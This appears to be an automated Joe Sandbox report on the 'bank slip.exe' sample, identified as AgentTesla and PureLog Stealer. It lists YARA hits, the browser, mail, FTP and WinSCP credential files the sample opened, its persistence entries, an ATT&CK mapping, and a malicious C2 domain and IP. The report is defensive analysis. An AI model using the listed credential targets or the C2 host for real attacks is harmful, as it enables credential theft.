Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.38d7bb8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.38d7bb8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.389c998.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.3246056841.0000000003092000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3246056841.000000000309A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2091471993.000000000304A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2091471993.0000000003042000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2091471993.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3246056841.000000000302C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bank slip.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mKSjGvfmIulVB.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7684, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.bank slip.exe.260f66c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.304f6b4.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.6750000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.6750000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.33cd7dc.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.33cc7c4.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.298d6c8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.298c6b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.2952c78.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.3392d98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.304f6b4.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.260f66c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2074900045.0000000006750000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2071630541.0000000002916000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2121255868.0000000003356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2121255868.0000000003001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2071630541.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\NETGATE Technologies\BlackHawk\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\8pecxstudios\Cyberfox\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Tries to harvest and steal ftp login credentials

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

File opened: C:\FTP Navigator\Ftplist.txt

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\Thunderbird\profiles.ini
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\IncrediMail\Identities

Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.389c998.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.4318670.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.38d7bb8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.38d7bb8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.389c998.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2091471993.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3246056841.000000000302C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bank slip.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mKSjGvfmIulVB.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7684, type: MEMORYSTR

Remote Access Functionality

Yara detected AgentTesla

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 9.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.389c998.7.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.4318670.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.38d7bb8.6.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.4318670.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.42dd450.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.38d7bb8.6.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.389c998.7.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000E.00000002.3246056841.0000000003092000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3246056841.000000000309A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2091471993.000000000304A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2091471993.0000000003042000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2091471993.0000000002FF1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.3246056841.000000000302C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: bank slip.exe PID: 6756, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7292, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: mKSjGvfmIulVB.exe PID: 7552, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 7684, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: 0.2.bank slip.exe.260f66c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.304f6b4.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.6750000.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.6750000.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.33cd7dc.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.33cc7c4.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.298d6c8.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.298c6b0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.2952c78.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.3392d98.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 11.2.mKSjGvfmIulVB.exe.304f6b4.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.bank slip.exe.260f66c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2074900045.0000000006750000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2071630541.0000000002916000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2121255868.0000000003356000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2121255868.0000000003001000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2071630541.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	1 File and Directory Discovery	Remote Services	11 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	11 Process Injection	1 Deobfuscate/Decode Files or Information	1 Input Capture	24 System Information Discovery	Remote Desktop Protocol	2 Data from Local System	1 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	1 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	3 Obfuscated Files or Information	1 Credentials in Registry	211 Security Software Discovery	SMB/Windows Admin Shares	1 Email Collection	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 Registry Run Keys / Startup Folder	22 Software Packing	NTDS	1 Process Discovery	Distributed Component Object Model	1 Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	141 Virtualization/Sandbox Evasion	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	141 Virtualization/Sandbox Evasion	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
bank slip.exe	24%	ReversingLabs	Win32.Trojan.Generic
bank slip.exe	34%	Virustotal		Browse
bank slip.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	0%	ReversingLabs
C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	0%	Virustotal		Browse
C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	24%	ReversingLabs	Win32.Trojan.Generic
C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe	38%	Virustotal		Browse

Unpacked PE Files

⊘No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
vw-rmplcars.co.in	11%	Virustotal		Browse
mail.vw-rmplcars.co.in	0%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	0%	URL Reputation	safe
http://vw-rmplcars.co.in	0%	Avira URL Cloud	safe
http://mail.vw-rmplcars.co.in	0%	Avira URL Cloud	safe
http://vw-rmplcars.co.in	11%	Virustotal		Browse
http://mail.vw-rmplcars.co.in	0%	Virustotal		Browse

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
vw-rmplcars.co.in	111.118.215.27	true	true	11%, Virustotal, Browse	unknown
mail.vw-rmplcars.co.in	unknown	unknown	true	0%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://account.dyn.com/	bank slip.exe, 00000000.00000002.2072649003.000000000389C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000009.00000002.2088618533.0000000000402000.00000040.00000400.00020000.00000000.sdmp, mKSjGvfmIulVB.exe, 0000000B.00000002.2126436227.00000000042DD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	bank slip.exe, 00000000.00000002.2071630541.00000000025C1000.00000004.00000800.00020000.00000000.sdmp, mKSjGvfmIulVB.exe, 0000000B.00000002.2121255868.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.chiark.greenend.org.uk/~sgtatham/putty/0	bank slip.exe, mKSjGvfmIulVB.exe.0.dr	false	URL Reputation: safe	unknown
http://mail.vw-rmplcars.co.in	RegSvcs.exe, 00000009.00000002.2091471993.000000000304A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3246056841.000000000309A000.00000004.00000800.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
http://vw-rmplcars.co.in	RegSvcs.exe, 00000009.00000002.2091471993.000000000304A000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 0000000E.00000002.3246056841.000000000309A000.00000004.00000800.00020000.00000000.sdmp	false	11%, Virustotal, Browse Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
111.118.215.27	vw-rmplcars.co.in	India		394695	PUBLIC-DOMAIN-REGISTRYUS	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1436607
Start date and time:	2024-05-06 08:12:04 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 31s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	21
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	bank slip.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@23/19@1/1
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 95% Number of executed functions: 79 Number of non-executed functions: 8
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target GUIVTme.exe, PID 7860 because it is empty
Execution Graph export aborted for target GUIVTme.exe, PID 8096 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
08:12:49	API Interceptor	2x Sleep call for process: bank slip.exe modified
08:12:53	API Interceptor	39x Sleep call for process: powershell.exe modified
08:12:54	API Interceptor	53x Sleep call for process: RegSvcs.exe modified
08:12:54	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run GUIVTme C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe
08:12:57	Task Scheduler	Run new task: mKSjGvfmIulVB path: C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe
08:12:58	API Interceptor	2x Sleep call for process: mKSjGvfmIulVB.exe modified
08:13:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run GUIVTme C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
111.118.215.27	SecuriteInfo.com.Win32.CrypterX-gen.8491.21939.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	SecuriteInfo.com.Win32.RATX-gen.18898.23590.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	DELIVERY CERTIFICATE.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	DHL.exe	Get hash	malicious	AgentTesla	Browse
	BANK SLIP.exe	Get hash	malicious	AgentTesla	Browse
	PO.NO.2203.exe	Get hash	malicious	AgentTesla	Browse
	SOA.exe	Get hash	malicious	AgentTesla	Browse
	5TH HIRE BANK SLIP.exe	Get hash	malicious	AgentTesla	Browse
	EPDA.exe	Get hash	malicious	AgentTesla	Browse
	BANK SLIP.exe	Get hash	malicious	AgentTesla	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
PUBLIC-DOMAIN-REGISTRYUS	RFQ_MV-33660 TROYER.doc	Get hash	malicious	AgentTesla	Browse	204.11.59.228
	PO19176542.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	SecuriteInfo.com.Win32.PWSX-gen.23212.6828.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.174.215.249
	SC-246214.doc	Get hash	malicious	AgentTesla	Browse	204.11.59.228
	Order No Q240419617006.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.174.215.249
	yZcecBUXN7.exe	Get hash	malicious	FormBook	Browse	119.18.54.116
	SecuriteInfo.com.Win32.PWSX-gen.8584.56.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	199.79.62.115
	SWIFT COPY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.174.215.249
	SWIFT COPY.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	207.174.215.249
	H223070141&H223070191.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	162.251.85.202

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe	PAYMENT LIST.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	E7236252-receipt.vbs	Get hash	malicious	XWorm	Browse
	I7336446-receipt.vbs	Get hash	malicious	XWorm	Browse
	S94847456-receipt.vbs	Get hash	malicious	XWorm	Browse
	Transfer copy PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	PO# CV-PO23002552.PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Deposit payment copy PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Approved E-DO PDF.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	PO# CV-PO23002552.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Invoice Checklist.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\GUIVTme.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\GUIVTme\GUIVTme.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	142
Entropy (8bit):	5.090621108356562
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUC7WglAFXMWA2yTMGfsbNRLFS9Am12MFuAvOAsDeieVyn:Q3La/xwczlAFXMWTyAGCDLIP12MUAvvw
MD5:	8C0458BB9EA02D50565175E38D577E35
SHA1:	F0B50702CD6470F3C17D637908F83212FDBDB2F2
SHA-256:	C578E86DB701B9AFA3626E804CF434F9D32272FF59FB32FA9A51835E5A148B53
SHA-512:	804A47494D9A462FFA6F39759480700ECBE5A7F3A15EC3A6330176ED9C04695D2684BF6BF85AB86286D52E7B727436D0BB2E8DA96E20D47740B5CE3F856B5D0F
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.EnterpriseServices, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\bank slip.exe.log

Download File

Process:	C:\Users\user\Desktop\bank slip.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\mKSjGvfmIulVB.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\mKSjGvfmIulVB.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1216
Entropy (8bit):	5.34331486778365
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4x84j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0HJ
MD5:	1330C80CAAC9A0FB172F202485E9B1E8
SHA1:	86BAFDA4E4AE68C7C3012714A33D85D2B6E1A492
SHA-256:	B6C63ECE799A8F7E497C2A158B1FFC2F5CB4F745A2F8E585F794572B7CF03560
SHA-512:	75A17AB129FE97BBAB36AA2BD66D59F41DB5AFF44A705EF3E4D094EC5FCD056A3ED59992A0AC96C9D0D40E490F8596B07DCA9B60E606B67223867B061D9D0EB2
Malicious:	false
